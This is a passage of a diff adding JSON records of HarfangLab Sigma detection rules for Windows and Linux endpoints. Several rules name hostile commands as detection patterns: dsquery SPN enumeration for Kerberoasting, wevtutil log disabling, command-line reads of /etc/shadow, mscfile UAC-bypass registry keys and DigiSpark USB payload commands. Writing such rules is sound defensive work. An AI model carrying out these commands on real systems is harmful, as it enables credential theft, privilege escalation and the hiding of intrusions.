+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "706756d9-814a-4262-9f40-a8eccb5525a8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095440Z",
+  "creation_date": "2026-03-23T11:45:34.095442Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095447Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/_wald0/status/1562871258190348289",
+    "https://blog.certcube.com/kerberoasting-simplified-attack-and-defense/",
+    "https://attack.mitre.org/techniques/T1087/002/",
+    "https://attack.mitre.org/techniques/T1558/003/",
+    "https://attack.mitre.org/software/S0105/"
+  ],
+  "name": "t1558_003_enumerate_spn_via_dsquery.yml",
+  "content": "title: Suspicious SPNs Enumeration via Dsquery\nid: 706756d9-814a-4262-9f40-a8eccb5525a8\ndescription: |\n    Detects a suspicious Service Principal Names (SPNs) enumeration with dsquery.\n    Attackers can extract the Service Principal Names (SPNs) used in Active Directory to conduct attacks such as Kerberoasting.\n    Service Principal Names are used to uniquely identify each instance of a Windows service.\n    Dsquery is a Windows legitimate binary that can be used to query Active Directory for gathering information.\n    It is recommended to check the parent processes for other suspicious activities.\nreferences:\n    - https://twitter.com/_wald0/status/1562871258190348289\n    - https://blog.certcube.com/kerberoasting-simplified-attack-and-defense/\n    - https://attack.mitre.org/techniques/T1087/002/\n    - https://attack.mitre.org/techniques/T1558/003/\n    - https://attack.mitre.org/software/S0105/\ndate: 2022/08/26\nmodified: 2025/02/13\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1087.002\n    - attack.credential_access\n    - attack.t1558.003\n    - attack.s0105\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\n    - classification.Windows.Behavior.ActiveDirectory\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_dsquery:\n        OriginalFileName: 'dsquery.exe'\n\n    # dsquery * -filter \"(&(objectcategory=computer) (servicePrincipalName=*))\" -attr distinguishedName servicePrincipalName\n    selection_filter:\n        CommandLine|contains:\n            - ' -filter '\n            - ' /filter '\n\n    selection_spn:\n        CommandLine|contains|all:\n            - 'objectCategory'\n            - 'servicePrincipalName'\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "706756d9-814a-4262-9f40-a8eccb5525a8",
+  "rule_name": "Suspicious SPNs Enumeration via Dsquery",
+  "rule_description": "Detects a suspicious Service Principal Names (SPNs) enumeration with dsquery.\nAttackers can extract the Service Principal Names (SPNs) used in Active Directory to conduct attacks such as Kerberoasting.\nService Principal Names are used to uniquely identify each instance of a Windows service.\nDsquery is a Windows legitimate binary that can be used to query Active Directory for gathering information.\nIt is recommended to check the parent processes for other suspicious activities.\n",
+  "rule_creation_date": "2022-08-26",
+  "rule_modified_date": "2025-02-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1087.002",
+    "attack.t1558.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "706e1b12-c234-4940-a0c9-11a371bfc4c2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.073179Z",
+  "creation_date": "2026-03-23T11:45:34.073181Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.073185Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://micahbabinski.medium.com/catching-a-wev-tutil-threat-detection-for-the-rest-of-us-f692f01efcd4",
+    "https://blog.talosintelligence.com/from-blackmatter-to-blackcat-analyzing/",
+    "https://attack.mitre.org/techniques/T1562/002/"
+  ],
+  "name": "t1562_002_disable_windows_eventlog.yml",
+  "content": "title: Suspicious Windows Event Logs Manipulation via wevtutil\nid: 706e1b12-c234-4940-a0c9-11a371bfc4c2\ndescription: |\n    Detects when one of the Windows Event Logs is disabled or if its size is reduced.\n    This technique is sometimes used by attackers to hide their malicious activities.\n    It is recommended to investigate the process responsible for the execution of wevutil and to look for other suspicious actions on the host.\n    If this activity is legitimate and recurrent in your environment, it is recommended to whitelist the processes or scrips responsible for this activity.\nreferences:\n    - https://micahbabinski.medium.com/catching-a-wev-tutil-threat-detection-for-the-rest-of-us-f692f01efcd4\n    - https://blog.talosintelligence.com/from-blackmatter-to-blackcat-analyzing/\n    - https://attack.mitre.org/techniques/T1562/002/\ndate: 2022/12/15\nmodified: 2025/01/29\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\wevtutil.exe'\n        - OriginalFileName: 'wevtutil.exe'\n\n    selection_action:\n        CommandLine|contains:\n            - ' set-log '\n            - ' sl '\n\n    selection_args:\n        CommandLine|contains:\n            - '?e:false'       # Disabling\n            - '?enabled:false' # Disabling\n            - '?ms:'           # Size reduction\n\n    condition: all of selection_*\nlevel: medium\nconfidence: moderate",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "706e1b12-c234-4940-a0c9-11a371bfc4c2",
+  "rule_name": "Suspicious Windows Event Logs Manipulation via wevtutil",
+  "rule_description": "Detects when one of the Windows Event Logs is disabled or if its size is reduced.\nThis technique is sometimes used by attackers to hide their malicious activities.\nIt is recommended to investigate the process responsible for the execution of wevutil and to look for other suspicious actions on the host.\nIf this activity is legitimate and recurrent in your environment, it is recommended to whitelist the processes or scrips responsible for this activity.\n",
+  "rule_creation_date": "2022-12-15",
+  "rule_modified_date": "2025-01-29",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "70a2410f-7713-47f6-aebd-e7a300dd5add",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.294753Z",
+  "creation_date": "2026-03-23T11:45:35.294756Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.294761Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.008/T1003.008.md",
+    "https://attack.mitre.org/techniques/T1003/008/",
+    "https://attack.mitre.org/techniques/T1078/"
+  ],
+  "name": "t1003_008_etc_shadow_accessed_cli.yml",
+  "content": "title: File /etc/shadow Accessed via Command-line\nid: 70a2410f-7713-47f6-aebd-e7a300dd5add\ndescription: |\n    Detects a suspicious attempt to access /etc/shadow from the command-line.\n    This file contains the encrypted passwords of all the accounts on the system.\n    The content of this file is often used to gather information about the system and for offline password cracking.\n    It is recommended to ensure that the process accessing this file is legitimate and that it will keep its content secret.\n    If this activity comes from legitimate software in your environment and is recurrent, it is highly recommended to whitelist the offending processes.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.008/T1003.008.md\n    - https://attack.mitre.org/techniques/T1003/008/\n    - https://attack.mitre.org/techniques/T1078/\ndate: 2021/09/14\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.008\n    - attack.t1078\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.CredentialAccess\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        CommandLine|contains: '/etc/shadow'\n        Image|endswith:\n            - '/cat'\n            - '/less'\n            - '/more'\n            - '/vi'\n            - '/vim.basic'\n            - '/vim.tiny'\n            - '/cp'\n            - '/rsync'\n        ParentImage|contains: '?'\n\n    exclusion_ancestors:\n        Ancestors|contains:\n            - '|/usr/sbin/cron|'\n            - '|/usr/sbin/crond|'\n            - '|/opt/bmc/bladelogic/RSCD/bin/rscd_full|'\n\n    exclusion_debian_backup:\n        CommandLine: 'cp -p /etc/shadow shadow.bak'\n        CurrentDirectory:\n            - '/var/backups'\n            - '/var/backups/'\n        ParentCommandLine: '/bin/sh /etc/cron.daily/passwd'\n\n    exclusion_qualys:\n        Ancestors|contains:\n            - '/usr/local/qualys/cloud-agent/bin/qualys-scan-util'\n            - '/usr/local/qualys/cloud-agent/bin/qualys-cloud-agent'\n\n    exclusion_lynis:\n        ParentCommandLine:\n            - '/bin/sh ./lynis audit system'\n            - '/bin/sh /usr/bin/lynis *'\n            - '/bin/sh /usr/sbin/lynis *'\n            - '/usr/bin/sh /usr/bin/lynis *'\n\n    exclusion_osconfexec:\n        ParentCommandLine:\n            - '/bin/sh ./osconf.sh setpassword *'\n            - './osconfexec -coredump'\n        ProcessGrandparentCommandLine: './osconfexec -coredump'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "70a2410f-7713-47f6-aebd-e7a300dd5add",
+  "rule_name": "File /etc/shadow Accessed via Command-line",
+  "rule_description": "Detects a suspicious attempt to access /etc/shadow from the command-line.\nThis file contains the encrypted passwords of all the accounts on the system.\nThe content of this file is often used to gather information about the system and for offline password cracking.\nIt is recommended to ensure that the process accessing this file is legitimate and that it will keep its content secret.\nIf this activity comes from legitimate software in your environment and is recurrent, it is highly recommended to whitelist the offending processes.\n",
+  "rule_creation_date": "2021-09-14",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.008",
+    "attack.t1078"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "70a8e0db-44d1-44c4-b3f2-c0f6491afcfa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.092927Z",
+  "creation_date": "2026-03-23T11:45:34.092929Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.092933Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/",
+    "https://attack.mitre.org/techniques/T1548/002/"
+  ],
+  "name": "t1548_002_prepare_uac_bypass_mscfile.yml",
+  "content": "title: Mcfile UAC Bypass Prepared\nid: 70a8e0db-44d1-44c4-b3f2-c0f6491afcfa\ndescription: |\n    Detects the preparation of the mscfile UAC bypass, involving the setting of multiple registry keys.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to analyze the process and user session responsible for the registry edit to look for malicious content or actions.\nreferences:\n    - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/\n    - https://attack.mitre.org/techniques/T1548/002/\ndate: 2020/09/25\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548.002\n    - attack.t1112\n    - attack.t1546.001\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_set_value:\n        EventType: 'SetValue'\n        TargetObject:\n            - 'HKU\\\\*\\mscfile\\shell\\open\\command\\(Default)'\n            - 'HKU\\\\*\\mscfile\\\\*SymbolicLinkValue'\n\n    filter_empty:\n        Details: '(Empty)'\n\n    selection_rename:\n        EventType:\n           - 'RenameValue'\n           - 'RenameKey'\n        NewName: 'HKU\\\\*_Classes\\mscfile\\\\*'\n\n    condition: (selection_set_value and not filter_empty) or selection_rename\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "70a8e0db-44d1-44c4-b3f2-c0f6491afcfa",
+  "rule_name": "Mcfile UAC Bypass Prepared",
+  "rule_description": "Detects the preparation of the mscfile UAC bypass, involving the setting of multiple registry keys.\nAdversaries may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to analyze the process and user session responsible for the registry edit to look for malicious content or actions.\n",
+  "rule_creation_date": "2020-09-25",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1546.001",
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "70ca224f-c417-4d4e-8b9e-bb8645c6218e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.611409Z",
+  "creation_date": "2026-03-23T11:45:34.611412Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.611420Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.partitionwizard.com/partitionmanager/what-is-premieropinion-on-my-computer.html",
+    "https://attack.mitre.org/techniques/T1119/"
+  ],
+  "name": "t1119_premier_opinion_adware.yml",
+  "content": "title: Premier Opinion AdWare RunDLL32 Execution\nid: 70ca224f-c417-4d4e-8b9e-bb8645c6218e\ndescription: |\n    Detects the execution of Premier Opinion's DLL through RunDLL32.\n    Premier Opinion is an adware that collects and sells internet usage data.\n    It is recommended to cleanup this DLL file and investigate the calling process for traces of persistence.\nreferences:\n    - https://www.partitionwizard.com/partitionmanager/what-is-premieropinion-on-my-computer.html\n    - https://attack.mitre.org/techniques/T1119/\ndate: 2023/06/15\nmodified: 2025/03/07\nauthor: HarfangLab\ntags:\n    - attack.collection\n    - attack.t1119\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Adware.PremierOpinion\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        OriginalFileName: 'RUNDLL32.EXE'\n        CommandLine|contains: ' pmls64.dll,RunProcWithDll '\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "70ca224f-c417-4d4e-8b9e-bb8645c6218e",
+  "rule_name": "Premier Opinion AdWare RunDLL32 Execution",
+  "rule_description": "Detects the execution of Premier Opinion's DLL through RunDLL32.\nPremier Opinion is an adware that collects and sells internet usage data.\nIt is recommended to cleanup this DLL file and investigate the calling process for traces of persistence.\n",
+  "rule_creation_date": "2023-06-15",
+  "rule_modified_date": "2025-03-07",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection"
+  ],
+  "rule_technique_tags": [
+    "attack.t1119"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "70f273a7-a783-4f80-b090-c40092c56e80",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.091843Z",
+  "creation_date": "2026-03-23T11:45:34.091845Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.091849Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://redacted.au/creating-a-usb-rubber-ducky-from-a-digispark-attiny-85/",
+    "https://github.com/zer0overflow/DigiPwn",
+    "https://attack.mitre.org/techniques/T1091/",
+    "https://attack.mitre.org/techniques/T1200/"
+  ],
+  "name": "t1200_popular_digispark_commands.yml",
+  "content": "title: DigiSpark USB Malicious Commands\nid: 70f273a7-a783-4f80-b090-c40092c56e80\ndescription: |\n    Detects popular default commands and processes used by DigiSpark, an alternative to USB hacking tools like RubberDucky or BashBunny.\n    This detects snippets from different public repositories associated with DigiSpark. While some actions may not be from a DigiSpark device, they may still be malicious.\n    It is recommended to investigate the PowerShell script and determine the context in which it was executed. It is also recommended to investigate any USB devices that were plugged in to this machine.\nreferences:\n    - https://redacted.au/creating-a-usb-rubber-ducky-from-a-digispark-attiny-85/\n    - https://github.com/zer0overflow/DigiPwn\n    - https://attack.mitre.org/techniques/T1091/\n    - https://attack.mitre.org/techniques/T1200/\ndate: 2025/01/06\nmodified: 2025/04/11\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1200\n    - attack.t1091\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.HackTool.DigiSpark\n    - classification.Windows.Behavior.USB\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        CommandLine|contains:\n            - 'start C:/Windows/System32/Ribbons.scr /s'\n            - 'copy con tmp.cmd'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "70f273a7-a783-4f80-b090-c40092c56e80",
+  "rule_name": "DigiSpark USB Malicious Commands",
+  "rule_description": "Detects popular default commands and processes used by DigiSpark, an alternative to USB hacking tools like RubberDucky or BashBunny.\nThis detects snippets from different public repositories associated with DigiSpark. While some actions may not be from a DigiSpark device, they may still be malicious.\nIt is recommended to investigate the PowerShell script and determine the context in which it was executed. It is also recommended to investigate any USB devices that were plugged in to this machine.\n",
+  "rule_creation_date": "2025-01-06",
+  "rule_modified_date": "2025-04-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1091",
+    "attack.t1200"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "71194d01-ab1d-4958-a874-28f60815affe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.604355Z",
+  "creation_date": "2026-03-23T11:45:34.604358Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.604365Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://research.checkpoint.com/2023/cloud-based-malware-delivery-the-evolution-of-guloader/",
+    "https://www.intrinsec.com/wp-content/uploads/2023/09/TLP-CLEAR-20230912-EN-GuLoader-Information-report.pdf",
+    "https://attack.mitre.org/software/S0561/"
+  ],
+  "name": "t1059_001_guloader_powershell.yml",
+  "content": "title: PowerShell Command-line Related to GuLoader\nid: 71194d01-ab1d-4958-a874-28f60815affe\ndescription: |\n    Detects suspicious PowerShell command-line arguments used by the VBS variants of GuLoader.\n    GuLoader is an advanced malware downloader that uses a polymorphic shellcode loader to dodge traditional security solutions.\n    This particular rule is geared towards the early infection chain, detecting when an user runs GuLoader's malicious VBS script used for an initial foothold.\n    It is recommended to investigate the Powershell script to determine its legitimacy and see if it matches with the GuLoader pattern.\nreferences:\n    - https://research.checkpoint.com/2023/cloud-based-malware-delivery-the-evolution-of-guloader/\n    - https://www.intrinsec.com/wp-content/uploads/2023/09/TLP-CLEAR-20230912-EN-GuLoader-Information-report.pdf\n    - https://attack.mitre.org/software/S0561/\ndate: 2023/12/15\nmodified: 2025/03/12\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - attack.t1204.002\n    - attack.s0561\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Loader.GuLoader\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        ParentImage|endswith: '\\Wscript.exe'\n        Image|endswith: '\\Powershell.exe'\n        # Function heftestra9 ([String]$Mordr13 )\n        # Function Lomtama ([String]$Hellig)\n        # Function undervisni9 ( [String]$Plynlymm )\n        CommandLine|re: 'powershell\\.exe Function \\w{3,12} *?\\( *?\\[String\\] *?\\$\\w{3,12} *?\\)'\n\n    condition: selection\nlevel: high\n# level: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "71194d01-ab1d-4958-a874-28f60815affe",
+  "rule_name": "PowerShell Command-line Related to GuLoader",
+  "rule_description": "Detects suspicious PowerShell command-line arguments used by the VBS variants of GuLoader.\nGuLoader is an advanced malware downloader that uses a polymorphic shellcode loader to dodge traditional security solutions.\nThis particular rule is geared towards the early infection chain, detecting when an user runs GuLoader's malicious VBS script used for an initial foothold.\nIt is recommended to investigate the Powershell script to determine its legitimacy and see if it matches with the GuLoader pattern.\n",
+  "rule_creation_date": "2023-12-15",
+  "rule_modified_date": "2025-03-12",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1204.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "71223ef6-7b62-4e8e-8457-634d94aea022",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.625291Z",
+  "creation_date": "2026-03-23T11:45:34.625293Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.625297Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2024/06/10/icedid-brings-screenconnect-and-csharp-streamer-to-alphv-ransomware-deployment/",
+    "https://twitter.com/embee_research/status/1623908375242350593",
+    "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-241a",
+    "https://attack.mitre.org/techniques/T1105/",
+    "https://attack.mitre.org/techniques/T1071/001/"
+  ],
+  "name": "t1105_suspicious_dns_request_filehosting.yml",
